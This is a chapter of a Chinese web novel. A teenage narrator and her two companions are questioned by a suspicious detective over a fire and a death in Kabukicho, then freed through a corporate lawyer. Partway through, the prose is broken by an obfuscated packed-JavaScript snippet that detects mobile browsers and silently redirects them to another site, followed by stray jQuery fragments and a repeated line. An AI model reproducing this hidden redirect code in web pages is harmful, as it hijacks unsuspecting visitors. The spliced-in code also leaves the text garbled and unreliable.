我作出惊讶的表情,带着些惴惴不安开口:“是怎么了呢警官先生?”


    他没有直接回答,而是看向那个年轻警员,“把照片拿来。”


    年轻警员点点头,快步离开。


    不到两分钟,他拿着一个牛皮纸信封回来了。


    佐藤刑警从信封里抽出几张照片,放在桌上推到我面前。


    照片上,是我、国广和那个管理员在巷子里,没有长义。


    拍摄角度是从上往下,能看到国广把管理员按在地上,我弯着腰跟他说话。


    长义当时站在我身后大概不到两米的位置,主要是在警惕其他人会再闯进巷子里。


    照片是放大了之后的,画质有点失真。


    大概率是从狙击手所在的那栋大楼上拍的,位置高度差不多能对上。


    我低头看着那张照片,在心里盘算着。


    “春日川小姐,您能解释一下这是怎么回事吗?”佐藤刑警的声音很平静,但每个字都带着审视的意味。


    “如您所见,国广把他按在了地上,我在问他问题。”我抬头看他,表情没什么变化,“这个人突然出现吓了我一跳呢,国广是出于我的安全才考虑控制他。”


    “控制完之后呢?”


    “问了他几个问题,然后就放他走了。”


    “问了什么问题?”


    “问他——”我突然打住声音,“抱歉,这和火灾案有关系吗?”


    “你要妨碍公务吗?”佐藤警官声音冷下来,几乎是厉声在冲我说话。


    “诱导性问询也是不被允许的,佐藤警官。”我笑着说。


    佐藤刑警盯着我看了几秒。


    “把他们带到审讯室。”


    “呃,佐藤前辈?”那个年轻警官有些不知所措。


    “他们是最后接触人,是最大嫌疑人,符合流程,把他们带过去。”


    “明白了。”年轻警员犹豫了一下,还是走上前来,做了个“请”的手势。


    我们三个是被分开审的。


    进审讯室我还是第一次,有点新奇地左看又右看。


    连佐藤警官走进来也没分得我的一个眼神。


    他没有第一时间出声,而是先坐下,然后翻弄他的笔记本。


    我打量够了这个灯光刺眼又昏暗的屋子,然后开始盯着自己的手发呆。


    “春日川小姐,”他终于开口了,“你知道现在是什么情况吗?”


    “不太清楚诶,”我像是才发现这个屋子里有其他人一样抬头看他,眨了眨眼,“我连发生了什么事都不知道。只是听说起火了,然后就被你们带到这里来了。”


    “对,后巷起火了。”他说,“消防队在火场50米外发现了一具尸体。”


    “尸体?死人了吗?”我露出惊讶的表情,“是谁?”


    “你见过的人。”佐藤刑警盯着我的眼睛,“就是你们今天上午在巷子里遇到的那个物业管理员。”


    我不可置信地瞪大了眼睛,然后皱起眉头,“他死了?怎么会……”


    “这正是我要问你的。”佐藤刑警的身体微微前倾,目光锐利,“春日川小姐,你们离开后巷之后到底去了哪里?”


    “拉面店啊,您之前已经问过一遍了。”我说,“天哪警察先生您不会认为人是我杀的吧?好冤枉,我跟他就见了一面,无冤无仇的杀他干嘛。”


    “到底是不是我们会调查出真相,警察不会冤枉好人,也不会放过任何一个犯人。”他在笔记本上写了几个字,话音一转又问,“你们在拉面店待了多久?”


    前半句话听着想笑,但我完美忍住了。


    “大概四十分钟吧,吃到一半接了个电话就走了。”


    “接了什么电话?”


    “朋友约我见面。”我说,“他刚好也在歌舞伎町,让我过去找他。”


    “什么朋友?”


    我的舌尖轻轻顶了顶上颚,吐出一口气,还是回答了这个问题:“柳泽明,亚细亚商事业务部总经理。”


    佐藤刑警的笔尖顿了一下。


    这个名字他当然知道,亚细亚商事是东京有名的企业,涉及地产、贸易、珠宝等多个领域。


    新任公司社长没公开露过面,听说很年轻,但在商圈里名声不小。


    也不止商圈,传言警察深恶痛绝的黑|帮对他们也给有些许薄面。


    亚细亚商事在上面的名声很好,毕竟从来没有出过什么违法的丑闻,税金向来按时缴纳,也经常性和警视厅甚至警察厅有合作项目。


    但这些东西在佐藤警官眼里都只是那些财阀们如出一辙的伪装。


    如果我知道佐藤警官心里是怎么想的也只会说一句猜的真准。


    “你们在哪里见的面?”


    “一家会员制酒吧。”我报了酒吧的名字和地址。


    “见面之后呢?”


    “聊了一会儿就分开了,我准备走的时候接到了你们的电话。”


    “那位柳泽先生呢?”


    “聊完就分开了。”我重音重复了一遍刚才的回答。


    佐藤刑警又写了几个字,然后抬起头,“春日川小姐,你们在巷子里和那个管理员发生了什么冲突?”


    我“啧”了一声,向后靠在椅子上,作的是一副不耐烦的样子。


    “我有权拒绝回答问题。”


    “你这是妨碍公务。”佐藤警官说。


    “我今年17岁,您单独审讯我已经不符合规定了。”


    “未成年不是你逃脱罪行的保护伞!”


    原本还算平静的男人一下子就被我的话点燃了,拍案而起发出巨大的声响。


    诶,是正直过头还不懂变通的那种警察先生啊。


    我勾起嘴角,倒是遇见罕见人士了。


    “先入为主就认定我是罪犯?假如您判断错误从今往后的职业生涯可就完全葬送了哦。”我好心提醒。


    但我的话好像起了反作用,佐藤警官好像把话听成了挑衅更生气了。


    很抱歉,这并非我的本意。


    我假惺惺在心里说到,然后不管他问什么都笑着答“我不知道”。


    最后给人气走了。


    诶呀诶呀,还是青涩的新人呢,我还没干什么就沉不住气了。


    我暗自摇头。


    被放置了。


    我也乐得享受私人空间,就是有点无聊。


    于是我开始数天花板上的裂纹。


    ——


    佐藤健一盯着面前的笔录,太阳穴突突直跳。


    他接手过很多次这种财阀子弟的案子,每一个都仗着家世有恃无恐。


    要不是多次无视上级施压执意执法被穿小鞋,他这么多年以来不会只是个普通的巡查部长。


    那个姓春日川的女生,他多年来的直觉告诉他这案子绝对和她有关。


    “佐藤前辈。”年轻警员端着两杯咖啡走进来,放在他面前一杯,“那个……课长那边催了,说如果没有确凿证据,得放人。”


    佐藤没说话,端起咖啡喝了一口。


    “那两个男的呢?”他放下杯子,“问出什么了?”


    年轻警员摇摇头,“一样。银发的那个说话滴水不漏,金发的虽然看起来内向,但嘴也很紧。他们三个的说法完全对得上,没有任何矛盾。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537692|202535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有任何矛盾。


    佐藤冷笑一声。


    “再去查。”他把笔录推到一边,“拉面店、酒吧、路上的监控,一个都不要放过。”


    “佐藤。”


    门被推开,搜查一课课长中村走进来,表情不太好看。


    “课长。”佐藤站起来。


    “放人。”中村直截了当地说。


    “课长,我觉得——”


    “你觉得什么?”中村打断他,“你觉得一个十七岁的小姑娘能杀人放火?还是有证据证明她跟这件事有关?”


    佐藤抿着嘴不说话。


    中村叹了口气,语气缓和了一些,“佐藤,我知道你办案认真,但也要讲证据。现在手头有什么?几张照片,三份对得上的口供,没有任何物证指向他们。你拿什么扣人?”


    “那个管理员死之前最后接触的人就是他们。”


    “那又怎样?最后接触就是凶手?歌舞伎町每天有多少人经过那条巷子,你一个个去抓?”


    佐藤攥紧了拳头,指节泛白。


    “放人。”中村说完这句话,转身要走,又停下来,“对了,上面打过招呼了。亚细亚商事那边已经派了律师过来,你再不放人,就是外交事件了。”


    外交事件?


    佐藤皱了皱眉,“一个商事公司,怎么还扯上外交了?”


    中村看了他一眼,没有回答,拉开门走了。


    佐藤站在原地,盯着桌上那三份笔录。


    上面打过招呼了。


    这句话他听过太多次了。每次查到某个层面,这句话就会出现,像一堵墙,把所有真相都挡在外面。


    他绝对,要查到底。


    佐藤警官的决心暂且只有他一个人知道,不过我对此也是支持的。


    要说别的也就算了,这次是真的很冤枉啊。


    律师来得很快。


    安藤正辉,东京圈内数得上名号的大律师,是亚细亚商事法务部的特聘法律顾问。


    “佐藤警官,我的当事人已经配合你们调查了将近八个小时,没有任何证据表明她与案件有关。如果您继续纠缠,我会考虑提起不当拘留的诉讼。”安藤律师说。


    佐藤盯着他的眼睛,“你在威胁我?”


    “我在陈述事实。”安藤推了推眼镜,“另外,佐藤警官,作为同行我给一个建议——不要先入为主。有些案子,看起来最可疑的人往往是最无辜的。”


    他说完,朝佐藤微微颔首,转身走向审讯室。


    佐藤警官站在警视厅楼上目送安藤走完手续,我们一行几人完好无损从大门离开。


    他的视线太过直白以至于不仅五感出众的付丧神,连带着我也感受到目光。


    今天下午又是狙击枪又是被人远程拍下照片送进局子,长义和国广现在对这种远距离的视线分外敏感,甚至有点草木皆兵的倾向了。


    我察觉到他们的焦虑,拍了拍他们两个的手背让他们放宽心,虽然没什么用。


    好吧,这倒也不是什么坏事,毕竟事关我的人身安全嘛。


    我眨眼间把他俩的应激反应抛之脑后,回头笑着冲站在二楼走廊窗户处的佐藤警官挥挥手,作了个“再见”的口型。


    至于男人看见之后会怎么想就不在我的关注范围之内了。


    大概会更生气吧。


    佐藤警官今天下午这一会儿的功夫生的气换成气球早都炸好几回了吧。


    但不是有句话说,愤怒是激励人前进的绝佳动力吗?


    愤怒状态下的警察先生能查出什么东西来我也很期待。


    倒是可以利用一下。